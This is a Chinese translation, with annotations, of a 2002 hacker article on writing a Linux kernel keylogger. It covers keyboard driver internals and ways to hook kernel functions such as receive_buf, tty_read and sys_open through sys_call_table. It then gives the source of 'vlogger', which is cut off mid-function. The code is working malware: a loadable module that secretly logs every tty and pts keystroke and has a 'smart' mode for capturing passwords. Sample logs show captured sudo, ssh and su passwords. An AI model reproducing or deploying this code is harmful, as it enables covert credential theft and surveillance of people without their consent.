书写基于内核的linux键盘纪录器(p9-0e)
整理:e4gle(大鹰)
来源:http://www.whitecell.org |=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=| |=-----------------------------------------------------------------------=| |=------------------=[ rd <rd@thehackerschoice.com> ]=-------------------=| |=------------------------=[ June 19th, 2002 ]=--------------------------=| |=------------------=[ 整理:e4gle <e4gle@whitecell.org> from whitecell.org]=-------------------=| |=------------------------=[ Aug 12th, 2002 ]=--------------------------=|
--[ Contents
1 - 介绍
2 - linux的keyboard驱动是如何工作的
3 - 基于内核的键盘纪录的原理 3.1 - 中断句柄 3.2 - 函数劫持 3.2.1 - 劫持handle_scancode 3.2.2 - 劫持put_queue 3.2.3 - 劫持receive_buf 3.2.4 - 劫持tty_read 3.2.5 - 劫持sys_read/sys_write
4 - vlogger 4.1 - 工作原理 4.2 - 功能及特点 4.3 - 如何使用
5 - 感谢
6 - 参考资料
7 - Keylogger源代码
--[ 1 - 介绍
本文分成两个部分。第一部分给出了linux键盘驱动的工作原理,并且讨论了建立一个基于 内核的键盘纪录器的方法。这部分内容对那些想写一个基于内核的键盘纪录器,或者写一个 自己键盘驱动的朋友会有帮助。
第二部分详细描述了vlogger的每个细节,vlogger是一个强大的基于内核的linux键盘纪录器, 以及如何来使用它。这向技术可以运用在蜜罐系统中,也可以做成一些很有意思的hacker game, 主要用来分析和采集hacker的攻击手法。我们都知道,一些大家熟知的键盘纪录器,如iob, uberkey,unixkeylogger等,它们是基于用户层的。这里介绍的是基于内核层的键盘纪录器。 最早期的基于内核的键盘纪录器是linspy,它发表在phrack杂志第50期。而现代的kkeylogger( 后面我们将用kkeylogger来表示基于内核的键盘纪录器)广泛采用的手法是中断sys_read或者 sys_write系统调用来对用户的击键进行记录。 显然,这种方法是很不稳定的并且会明显的降低系统的速度,因为我们中断的恰恰是系统使用最 频繁的两个系统调用sys_read,sys_write;sys_read在每个进程需要读写设备的时候都会用到。 在vlogger里,我用了一个更好的方法,就是劫持tty buffer进程函数,下面会介绍到。
我假定读者熟悉linux的可加载模块的原理和运作过程,如果不熟悉,推荐大家首先阅读我以前写 过的linux kernel simple hacking,或者linux tty hijack,(在http://e4gle.org有下载), 参阅《linux驱动程序设计》来获得相关的理论基础知识。
--[ 2 - linux键盘驱动的工作原理
首先让我们通过以下的结构图来了解一下用户从终端的击键是如何工作的:
_____________ _________ _________ / \ put_queue| |receive_buf| |tty_read /handle_scancode\-------->|tty_queue|---------->|tty_ldisc|-------> \ / | | |buffer | \_____________/ |_________| |_________|
_________ ____________ | |sys_read| | --->|/dev/ttyX|------->|user process| | | | | |_________| |____________|
Figure 1
首先,当你输入一个键盘值的时候,键盘将会发送相应的scancodes给键盘驱动。一个独立的 击键可以产生一个六个scancodes的队列。
键盘驱动中的handle_scancode()函数解析scancodes流并通过kdb_translate()函数里的 转换表(translation-table)将击键事件和键的释放事件(key release events)转换成连 续的keycode。
比如,'a'的keycode是30。击键’a'的时候便会产生keycode 30。释放a键的时候会产生 keycode 158(128+30)。
然后,这些keycode通过对keymap的查询被转换成相应key符号。这步是一个相当 复杂的过程。
以上操作之后,获得的字符被送入raw tty队列--tty_flip_buffer。
receive_buf()函数周期性的从tty_flip_buffer中获得字符,然后把这些字符送入 tty read队列。
当用户进程需要得到用户的输入的时候,它会在进程的标准输入(stdin)调用read()函数。 sys_read()函数调用定义在相应的tty设备(如/dev/tty0)的file_operations结构 中指向tty_read的read()函数来读取字符并且返回给用户进程。
/*e4gle add file_operations是文件操作结构,定义了文件操作行为的成员,结构如下,很容易理解: struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char *, size_t, loff_t *);<----这是本文提到的read函数 ssize_t (*write) (struct file *, const char *, size_t, loff_t *); int (*readdir) (struct file *, void *, filldir_t); unsigned int (*poll) (struct file *, struct poll_table_struct *); int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, struct dentry *, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff_t *); ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff_t *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); }; 我们直到unix系统中设备也是文件,所以tty设备我们也可以进行文件操作。 */
键盘驱动器可以有如下4种模式: - scancode(RAW模式):应用程序取得输入的scancode。这种模式通常 用于应用程序实现自己的键盘驱动器,比如X11程序。
- keycode(MEDIUMRAW模式):应用程序取得key的击键和释放行为(通过 keycode来鉴别这两种行为)信息。
- ASCII(XLATE模式):应用程序取得keymap定义的字符,该字符是 8位编码的。
- Unicode(UNICODE模式):此模式唯一和ASCII模式不同之处就是UNICODE模式 允许用户将自己的10进制值编写成UTF8的unicode字符,如十进制的数可以编写成 Ascii_0到Ascii_9,或者用户16进制的值可以用Hex_0到Hex_9来代表。一个keymap 可以产生出一系列UTF8的序列。
以上这些驱动器的工作模式决定了应用程序所取得的键盘输入的数据类型。大家如果需要详细了解scancode, keycode和keymaps的相关信息,参看read[3]。
--[ 3 - 基于内核的键盘纪录器的实现步骤
我们论述两种实现方法,一个是书写我们自己的键盘中断句柄,另一个是劫持输入进程函数.
----[ 3.1 - 中断句柄
要纪录击键信息,我们就要利用我们自己的键盘中断。在Intel体系下,控制键盘的IRQ值是1。 当接受到一个键盘中断时,我们的键盘中断器会读取scancode和键盘的状态。读写键盘事件 都是通过0x60端口(键盘数据注册器)和0x64(键盘状态注册器)来实现的。
/* 以下代码都是intel格式 */ #define KEYBOARD_IRQ 1 #define KBD_STATUS_REG 0x64 #define KBD_CNTL_REG 0x64 #define KBD_DATA_REG 0x60
#define kbd_read_input() inb(KBD_DATA_REG) #define kbd_read_status() inb(KBD_STATUS_REG) #define kbd_write_output(val) outb(val, KBD_DATA_REG) #define kbd_write_command(val) outb(val, KBD_CNTL_REG)
/* 注册我们的IRQ句柄*/ request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);
在my_keyboard_irq_handler()函数中定义如下: scancode = kbd_read_input(); key_status = kbd_read_status(); log_scancode(scancode);
这种方法不方便跨平台操作。而且很容易crash系统,所以必须小心操作你的终端句柄。
----[ 3.2 - 函数劫持
在第一种思路的基础上,我们还可以通过劫持handle_scancode(),put_queue(),receive_buf(), tty_read()或者sys_read()等函数来实现我们自己的键盘纪录器。注意,我们不能劫持 tty_insert_flip_char()函数,因为它是一个内联函数。
------[ 3.2.1 - handle_scancode函数
它是键盘驱动程序中的一个入口函数(有兴趣可以看内核代码keynoard.c)。
# /usr/src/linux/drives/char/keyboard.c void handle_scancode(unsigned char scancode, int down);
我们可以这样,通过替换原始的handle_scancode()函数来实现纪录所有的scancode。这就我们 在lkm后门中劫持系统调用是一个道理,保存原来的,把新的注册进去,实现我们要的功能,再调用 回原来的,就这么简单。就是一个内核函数劫持技术。
/* below is a code snippet written by Plasmoid */ static struct semaphore hs_sem, log_sem; static int logging=1;
#define CODESIZE 7 static char hs_code[CODESIZE]; static char hs_jump[CODESIZE] = "\xb8\x00\x00\x00\x00" /* movl $0,%eax */ "\xff\xe0" /* jmp *%eax */ ;
void (*handle_scancode) (unsigned char, int) = (void (*)(unsigned char, int)) HS_ADDRESS;
void _handle_scancode(unsigned char scancode, int keydown) { if (logging && keydown) log_scancode(scancode, LOGFILE); /*恢复原始handle_scancode函数的首几个字节代码。调用恢复后的原始函数并且 *再次恢复跳转代码。 */ down(&hs_sem); memcpy(handle_scancode, hs_code, CODESIZE); handle_scancode(scancode, keydown); memcpy(handle_scancode, hs_jump, CODESIZE); up(&hs_sem); }
HS_ADDRESS这个地址在执行Makefile文件的时候定义: HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode)) 其实就是handle_scancode在ksyms导出的地址。
类似3.1节中提到的方法,这种方法对在X和终端下纪录键盘击键也很有效果,和是否调用 tty无关。这样你就可以纪录下键盘上的正确的击键行为了(包括一些特殊的key,如ctrl,alt, shift,print screen等等)。但是这种方法也是不能跨平台操作,毕竟是靠lkm实现的。同样 它也不能纪录远程会话的击键并且也很难构成相当复杂的高级纪录器。
------[ 3.2.2 - put_queue函数
handle_scancode()函数会调用put_queue函数,用来将字符放入tty_queue。
/*e4gle add put_queue函数在内核中定义如下:
void put_queue(int ch) { wake_up(&keypress_wait); if (tty) { tty_insert_flip_char(tty, ch, 0); con_schedule_flip(tty); } } */
# /usr/src/linux/drives/char/keyboard.c void put_queue(int ch);
劫持这个函数,我们可以利用和上面劫持handle_scancode函数同样的方法。
------[ 3.2.3 - receive_buf函数
底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。
# /usr/src/linux/drivers/char/n_tty.c */ static void n_tty_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count)
参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。
让我们深入的看一看tty结构
# /usr/include/linux/tty.h struct tty_struct { int magic; struct tty_driver driver; struct tty_ldisc ldisc; struct termios *termios, *termios_locked; ... }
# /usr/include/linux/tty_ldisc.h struct tty_ldisc { int magic; char *name; ... void (*receive_buf)(struct tty_struct *, const unsigned char *cp, char *fp, int count); int (*receive_room)(struct tty_struct *); void (*write_wakeup)(struct tty_struct *); };
要劫持这个函数,我们可以先保存原始的tty receive_buf()函数,然后重置ldisc.receive_buf到 我们的new_receive_buf()函数来记录用户的输入。
举个例子:我们要记录在tty0设备上的输入。
int fd = open("/dev/tty0", O_RDONLY, 0); struct file *file = fget(fd); struct tty_struct *tty = file->private_data; old_receive_buf = tty->ldisc.receive_buf; //保存原始的receive_buf()函数 tty->ldisc.receive_buf = new_receive_buf; //替换成新的new_receive_buf函数
//新的new_receive_buf函数 void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { logging(tty, cp, count); //纪录用户击键
/* 调用回原来的receive_buf */ (*old_receive_buf)(tty, cp, fp, count); }
/*e4gle add 其实这里新的new_receive_buf函数只是做了个包裹,技术上实现大同小异,包括劫持系统调用 内核函数等,技术上归根都比较简单,难点在于如何找到切入点,即劫持哪个函数可以达到目的,或者 效率更高更稳定等,这就需要深入了解这些内核函数的实现功能。 */
------[ 3.2.4 - tty_read函数
当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符的时候,tty_read函数就会被调用。
# /usr/src/linux/drives/char/tty_io.c static ssize_t tty_read(struct file * file, char * buf, size_t count, loff_t *ppos)
static struct file_operations tty_fops = { llseek: tty_lseek, read: tty_read, write: tty_write, poll: tty_poll, ioctl: tty_ioctl, open: tty_open, release: tty_release, fasync: tty_fasync, };
还是举上面的纪录来自tty0的输入信息的例子:
int fd = open("/dev/tty0", O_RDONLY, 0); struct file *file = fget(fd); old_tty_read = file->f_op->read; //保存原来的tty_read file->f_op->read = new_tty_read; //替换新的tty_read函数
/*e4gle add 劫持这个函数的具体实现代码就不多说了,和上面是一样的,我这里写出来给大家参考一下: static ssize_t new_tty_read(struct file * file, char * buf, size_t count, loff_t *ppos) { struct tty_struct *tty = file->private_data; logging(tty, buf, count); //纪录用户击键
/* 调用回原来的tty_read */ (*old_tty_read)(file, buf, count, ppos); } */
------[ 3.2.5 - sys_read/sys_write函数
截获sys_read/sys_write这两个系统调用来实现的技术我不说了,在很早的quack翻译 的“linux内核可加载模块编程完全指南”中就提到了这种技术,在我写的“linux kernel hacking” 若干教程中也明明白白反反复复提到过,phrack杂志也早在50期的第四篇文章里也介绍到, 如果大家不明白请参考以上文献。
我提供以下code来实现劫持sys_read和sys_write系统调用:
extern void *sys_call_table[]; original_sys_read = sys_call_table[__NR_read]; sys_call_table[__NR_read] = new_sys_read; 当然除了替换sys_call_table表之外还有很多方法,在phrack59中的高级kernel hacking一文 中详细针对现有的几种劫持系统调用的方法有演示代码,这里不多做介绍了。
--[ 4 - vlogger
这节介绍一下一个内核键盘纪录器vlogger,是本文的原作者的大作,它是通过3.2.3节中 介绍的方法来实现纪录用户击键的,也利用了劫持sys_read/sys_write系统调用来做补充。 vlogger在如下内核中测试通过:2.4.5,2.4.7,2.4.17,2.4.18。
----[ 4.1 - 步骤
要记录下本地(纪录终端的信息)和远程会话的键盘击键 ,我选择劫持receive_buf函数的 方法(见3.2.3节)。
在内核中,tty_struct和tty_queue结构仅仅在tty设备打开的时候被动态分配。因而,我们 同样需要通过劫持sys_open系统调用来动态的hooking这些每次调用时的每个tty或pty的 receive_buf()函数。
// 劫持sys_open调用 original_sys_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = new_sys_open;
// new_sys_open() asmlinkage int new_sys_open(const char *filename, int flags, int mode) { ... //调用original_sys_open ret = (*original_sys_open)(filename, flags, mode); if (ret >= 0) { struct tty_struct * tty; ... file = fget(ret); tty = file->private_data; if (tty != NULL && ... tty->ldisc.receive_buf != new_receive_buf) { ... // 保存原来的receive_buf old_receive_buf = tty->ldisc.receive_buf; ...
/* * 开始劫持该tty的receive_buf函数 * tty->ldisc.receive_buf = new_receive_buf; */ init_tty(tty, TTY_INDEX(tty)); } ... }
// 我们的新的receive_buf()函数 void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { if (!tty->real_raw && !tty->raw) // 忽略 raw模式 // 调用我们的logging函数来记录用户击键 vlogger_process(tty, cp, count); // 调用回原来的receive_buf (*old_receive_buf)(tty, cp, fp, count); }
----[ 4.2 - 功能及特点
- 可以记录本地和远程会话的所有击键(通过tty和pts)
- 按每个tty/会话分开纪录。每个tty都有他们自己的纪录缓冲区。
- 几乎支持所有的特殊键如方向键(left,riht,up,down),F1到F12,Shift+F1到Shift+F12, Tab,Insert,Delete,End,Home,Page Up,Page Down,BackSpace,等等
- 支持一些行编辑键包括ctrl-U和BackSpace键等。
- 时区支持
- 多种日志模式
o dumb模式: 纪录所有的击键行为
o smart模式: 只记录用户名/密码。这里我用了solar designer和dug song的"Passive Analysis of SSH (Secure Shell) Traffic"文章中的一个小技术来实现的。当应用程序返回的 输入回显关闭的时候(就是echo -off),就认为那是用户在输入密码,我们过滤下来 就是了:)
o normal模式: 禁止纪录
用户可以通过利用MAGIC_PASS宏和VK_TOGLE_CHAR宏(MAGIC_PASS这个宏定义了切换密 码,VK_TOGLE_CHAR定义了一个keycode来做为切换热键)来切换日志模式。
#define VK_TOGLE_CHAR 29 // CTRL-] #define MAGIC_PASS "31337" //要切换日志模式,输入MAGIC_PASS,然后敲击VK_TOGLE_CHAR键
----[ 4.3 - 如何使用
以下是一些可改变的选项
// 日志存放路径的宏 #define LOG_DIR "/tmp/log"
// 本地的时区 #define TIMEZONE 7*60*60 // GMT+7
// 切换日志模式的密码的宏 #define MAGIC_PASS "31337"
以下列出了纪录后的日志目录结构:
[e4gle@redhat72 log]# ls -l total 60 -rw------- 1 root root 633 Jun 19 20:59 pass.log -rw------- 1 root root 37593 Jun 19 18:51 pts11 -rw------- 1 root root 56 Jun 19 19:00 pts20 -rw------- 1 root root 746 Jun 19 20:06 pts26 -rw------- 1 root root 116 Jun 19 19:57 pts29 -rw------- 1 root root 3219 Jun 19 21:30 tty1 -rw------- 1 root root 18028 Jun 19 20:54 tty2
---在dumb模式中 [e4gle@redhat72 log]# head tty2 //本地会话 <19/06/2002-20:53:47 uid=501 bash> pwd <19/06/2002-20:53:51 uid=501 bash> uname -a <19/06/2002-20:53:53 uid=501 bash> lsmod <19/06/2002-20:53:56 uid=501 bash> pwd <19/06/2002-20:54:05 uid=501 bash> cd /var/log <19/06/2002-20:54:13 uid=501 bash> tail messages <19/06/2002-20:54:21 uid=501 bash> cd ~ <19/06/2002-20:54:22 uid=501 bash> ls <19/06/2002-20:54:29 uid=501 bash> tty <19/06/2002-20:54:29 uid=501 bash> [UP]
[e4gle@redhat72 log]# tail pts11 // 远程会话 <19/06/2002-18:48:27 uid=0 bash> cd new <19/06/2002-18:48:28 uid=0 bash> cp -p ~/code . <19/06/2002-18:48:21 uid=0 bash> lsmod <19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/ <19/06/2002-18:48:28 uid=0 bash> ls -l <19/06/2002-18:48:30 uid=0 bash> tail pts11 <19/06/2002-18:48:38 uid=0 bash> [UP] | more <19/06/2002-18:50:44 uid=0 bash> vi vlogertxt <19/06/2002-18:50:48 uid=0 vi> :q <19/06/2002-18:51:14 uid=0 bash> rmmod vlogger
---在smart模式中 [e4gle@redhat72 log]# cat pass.log [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo] USER/CMD sudo traceroute yahoo.com PASS 5hgt6d PASS
[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh] USER/CMD ssh guest@host.com PASS guest
[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp] USER/CMD open ftp.ilog.fr USER Anonymous PASS heh@heh
[19/06/2002-20:59:54 tty=pts/29 uid=504 su] USER/CMD su - PASS asdf1234
--[ 5 - 感谢
感谢plasmoid, skyper的大力帮助,感谢THC,vnsecurity等组织的所有朋友们。 最后,感谢thang先生的英文翻译。
//e4gle add 到此,全文介绍完了,大家有兴趣可以试试代码,其实这里涉及的技术无非还是系统调用和内核函数 的劫持技术,我整理过的一篇tty劫持的文章,大家也可以对比一下。其实vlogger也有一定的缺陷, 它还是通过sys_call_table的方法来劫持系统调用open的,那很容易被kstat等工具发现,关于更 隐藏的劫持技术在phrack59的advance kernel hacking一文里有5个例子详细介绍了更多的办法, 大家可以参考这些文献。
--[ 6 - 参考资料
[1] Linux Kernel Module Programming http://www.tldp.org/LDP/lkmpg/ [2] Complete Linux Loadable Kernel Modules - Pragmatic http://www.thehackerschoice.com/papers/LKM_HACKING.html [3] The Linux keyboard driver - Andries Brouwer http://www.linuxjournal.com/lj-issues/issue14/1080.html [4] Abuse of the Linux Kernel for Fun and Profit - Halflife http://www.phrack.com/phrack/50/P50-05 [5] Kernel function hijacking - Silvio Cesare http://www.big.net.au/~silvio/kernel-hijack.txt [6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt [7] Kernel Based Keylogger - Mercenary http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt
--[ 7 - Keylogger的源代码
<++> vlogger/Makefile # # vlogger 1.0 by rd # # LOCAL_ONLY logging local session only. Doesn't intercept # sys_open system call # DEBUG Enable debug. Turn on this options will slow # down your system #
KERNELDIR =/usr/src/linux include $(KERNELDIR)/.config MODVERFILE = $(KERNELDIR)/include/linux/modversions.h
MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \ -Wstrict-prototypes -fomit-frame-pointer -pipe \ -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \ -malign-functions=2
all : vlogger.o
vlogger.o: vlogger.c $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@
clean: rm -f *.o <--> <++> vlogger/vlogger.c /* * vlogger 1.0 * * Copyright (C) 2002 rd <rd@vnsecurity.net> * * Please check http://www.thehackerschoice.com/ for update * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * Greets to THC & vnsecurity * */
#define __KERNEL_SYSCALLS__ #include <linux/version.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/smp_lock.h> #include <linux/sched.h> #include <linux/unistd.h> #include <linux/string.h> #include <linux/file.h> #include <asm/uaccess.h> #include <linux/proc_fs.h> #include <asm/errno.h> #include <asm/io.h>
#ifndef KERNEL_VERSION #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c)) #endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9) MODULE_LICENSE("GPL"); MODULE_AUTHOR("rd@vnsecurity.net"); #endif
#define MODULE_NAME "vlogger " #define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"
#ifdef DEBUG #define DPRINT(format, args...) printk(MODULE_NAME format, ##args) #else #define DPRINT(format, args...) #endif
#define N_TTY_NAME "tty" #define N_PTS_NAME "pts" #define MAX_TTY_CON 8 #define MAX_PTS_CON 256 #define LOG_DIR "/tmp/log" #define PASS_LOG LOG_DIR "/pass.log"
#define TIMEZONE 7*60*60 // GMT+7
#define ESC_CHAR 27 #define BACK_SPACE_CHAR1 127 // local #define BACK_SPACE_CHAR2 8 // remote
#define VK_TOGLE_CHAR 29 // CTRL-] #define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and // VK_TOGLE_CHAR
#define VK_NORMAL 0 #define VK_DUMBMODE 1 #define VK_SMARTMODE 2 #define DEFAULT_MODE VK_DUMBMODE
#define MAX_BUFFER 256 #define MAX_SPECIAL_CHAR_SZ 12
#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \ + (tty)->driver.name_base #define TTY_INDEX(tty) tty->driver.type == \ TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \ TTY_NUMBER(tty):TTY_NUMBER(tty) #define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty) #define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \ buf, count)
#define TTY_NAME(tty) (tty->driver.type == \ TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \ tty->driver.type == TTY_DRIVER_TYPE_PTY && \ tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds()); #define END_KMEM set_fs(old_fs); }
extern void *sys_call_table[]; int errno;
struct tlogger { struct tty_struct *tty; char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ]; int lastpos; int status; int pass; };
struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL }; void (*old_receive_buf)(struct tty_struct *, const unsigned char *, char *, int); asmlinkage int (*original_sys_open)(const char *, int, int);
int vlogger_mode = DEFAULT_MODE;
/* Prototypes */ static inline void init_tty(struct tty_struct *, int);
/* static char *_tty_make_name(struct tty_struct *tty, const char *name, char *buf) { int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
if (!tty) strcpy(buf, "NULL tty"); else sprintf(buf, name, idx + tty->driver.name_base); return buf; }
char *tty_name(struct tty_struct *tty, char *buf) { return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf); } */
#define SECS_PER_HOUR (60 * 60) #define SECS_PER_DAY (SECS_PER_HOUR * 24) #define isleap(year) \ ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0)) #define DIV(a, b) ((a) / (b) - ((a) % (b) < 0)) #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
struct vtm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; };
/* * Convert from epoch to date */
int epoch2time (const time_t *t, long int offset, struct vtm *tp) { static const unsigned short int mon_yday[2][13] = { /* Normal years. */ { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 }, /* Leap years. */ { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 } };
long int days, rem, y; const unsigned short int *ip;
days = *t / SECS_PER_DAY; rem = *t % SECS_PER_DAY; rem += offset; while (rem < 0) { rem += SECS_PER_DAY; --days; } while (rem >= SECS_PER_DAY) { rem -= SECS_PER_DAY; ++days; } tp->tm_hour = rem / SECS_PER_HOUR; rem %= SECS_PER_HOUR; tp->tm_min = rem / 60; tp->tm_sec = rem % 60; y = 1970;
while (days < 0 || days >= (isleap (y) ? 366 : 365)) { long int yg = y + days / 365 - (days % 365 < 0); days -= ((yg - y) * 365 + LEAPS_THRU_END_OF (yg - 1) - LEAPS_THRU_END_OF (y - 1)); y = yg; } tp->tm_year = y - 1900; if (tp->tm_year != y - 1900) return 0; ip = mon_yday[isleap(y)]; for (y = 11; days < (long int) ip[y]; --y) continue; days -= ip[y]; tp->tm_mon = y; tp->tm_mday = days + 1; return 1; }
/* * Get current date & time */
void get_time (char *date_time) { struct timeval tv; time_t t; struct vtm tm; do_gettimeofday(&tv); t = (time_t)tv.tv_sec; epoch2time(&t, TIMEZONE, &tm);
sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min, tm.tm_sec); }
/* * Get task structure from pgrp id */
inline struct task_struct *get_task(pid_t pgrp) { struct task_struct *task = current;
do { if (task->pgrp == pgrp) { return task; } task = task->next_task; } while (task != current); return NULL; }
#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos)) #define WRITABLE(f) (f->f_op && f->f_op->write)
int write_to_file(char *logfile, char *buf, int size) { int ret = 0; struct file *f = NULL;
lock_kernel(); BEGIN_KMEM; f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
if (IS_ERR(f)) { DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile); ret = -1; } else { if (WRITABLE(f)) _write(f, buf, size); else { DPRINT("%s does not have a write method\n", logfile); ret = -1; } if ((ret = filp_close(f,NULL))) DPRINT("Error %d closing %s\n", -ret, logfile); } END_KMEM; unlock_kernel();
return ret; }
#define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0; #define END_ROOT current->fsuid = saved_fsuid; }
/* * Logging keystrokes */
void logging(struct tty_struct *tty, struct tlogger *tmp, int cont) { int i;
char logfile[256]; char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256]; char date_time[24]; struct task_struct *task;
if (vlogger_mode == VK_NORMAL) return;
if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont)) return; task = get_task(tty->pgrp); for (i=0; i<tmp->lastpos; i++) if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;
if (!cont) tmp->buf[tmp->lastpos++] = 0x0A; tmp->buf[tmp->lastpos] = 0;
if (vlogger_mode == VK_DUMBMODE) { snprintf(logfile, sizeof(logfile)-1, "%s/%s%d", LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty)); BEGIN_ROOT if (!tmp->status) { get_time(date_time); if (task) snprintf(loginfo, sizeof(loginfo)-1, "<%s uid=%d %s> %s", date_time, task->uid, task->comm, tmp->buf); else snprintf(loginfo, sizeof(loginfo)-1, "<%s> %s", date_time, tmp->buf); write_to_file(logfile, loginfo, strlen(loginfo)); } else { write_to_file(logfile, tmp->buf, tmp->lastpos); } END_ROOT
#ifdef DEBUG if (task) DPRINT("%s/%d uid=%d %s: %s", TTY_NAME(tty), TTY_NUMBER(tty), task->uid, task->comm, tmp->buf); else DPRINT("%s", tmp->buf); #endif tmp->status = cont; } else {
/* * Logging USER/CMD and PASS in SMART_MODE */
BEGIN_ROOT if (!tmp->pass) { get_time(date_time); if (task) snprintf(loginfo, sizeof(loginfo)-1, "\n[%s tty=%s/%d uid=%d %s]\n" "USER/CMD %s", date_time, TTY_NAME(tty),TTY_NUMBER(tty), task->uid, task->comm, tmp->buf); else snprintf(loginfo, sizeof(loginfo)-1, "\n[%s tty=%s/%d]\nUSER/CMD %s", date_time, TTY_NAME(tty), TTY_NUMBER(tty), tmp->buf);
write_to_file(PASS_LOG, loginfo, strlen(loginfo)); } else { snprintf(loginfo, sizeof(loginfo)-1, "PASS %s", tmp->buf); write_to_file (PASS_LOG, loginfo, strlen(loginfo)); }
END_ROOT
#ifdef DEBUG if (!tmp->pass) DPRINT("USER/CMD %s", tmp->buf); else DPRINT("PASS %s", tmp->buf); #endif }
if (!cont) tmp->buf[--tmp->lastpos] = 0; }
#define resetbuf(t) \ { \ t->buf[0] = 0; \ t->lastpos = 0; \ }
#define append_c(t, s, n) \ { \ t->lastpos += n; \ strncat(t->buf, s, n); \ }
static inline void reset_all_buf(void) { int i = 0; for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) if (ttys[i] != NULL) resetbuf(ttys[i]); }
void special_key(struct tlogger *tmp, const unsigned char *cp, int count) { switch(count) { case 2: switch(cp[1]) { case '\'': append_c(tmp, "[ALT-\']", 7); break; case ',': append_c(tmp, "[ALT-,]", 7); break; case '-': append_c(tmp, "[ALT--]", 7); break; case '.': append_c(tmp, "[ALT-.]", 7); break; case '/': append_c(tmp, "[ALT-/]", 7); break; case '0': append_c(tmp, "[ALT-0]", 7); break; case '1': append_c(tmp, "[ALT-1]", 7); break; case '2': append_c(tmp, "[ALT-2]", 7); break; case '3': append_c(tmp, "[ALT-3]", 7); break; case '4': append_c(tmp, "[ALT-4]", 7); break; case '5': append_c(tmp, "[ALT-5]", 7); break; case '6': append_c(tmp, "[ALT-6]", 7); break; case '7': append_c(tmp, "[ALT-7]", 7); break; case '8': append_c(tmp, "[ALT-8]", 7); break; case '9': append_c(tmp, "[ALT-9]", 7); break; case ';': append_c(tmp, "[ALT-;]", 7); break; case '=': append_c(tmp, "[ALT-=]", 7); break; case '[': append_c(tmp, "[ALT-[]", 7); break; case '\\': append_c(tmp, "[ALT-\\]", 7); break; case ']': append_c(tmp, "[ALT-]]", 7); break; case '`': append_c(tmp, "[ALT-`]", 7); break; case 'a': append_c(tmp, "[ALT-A]", 7); break; case 'b': append_c(tmp, "[ALT-B]", 7); break; case 'c': append_c(tmp, "[ALT-C]", 7); break; case 'd': 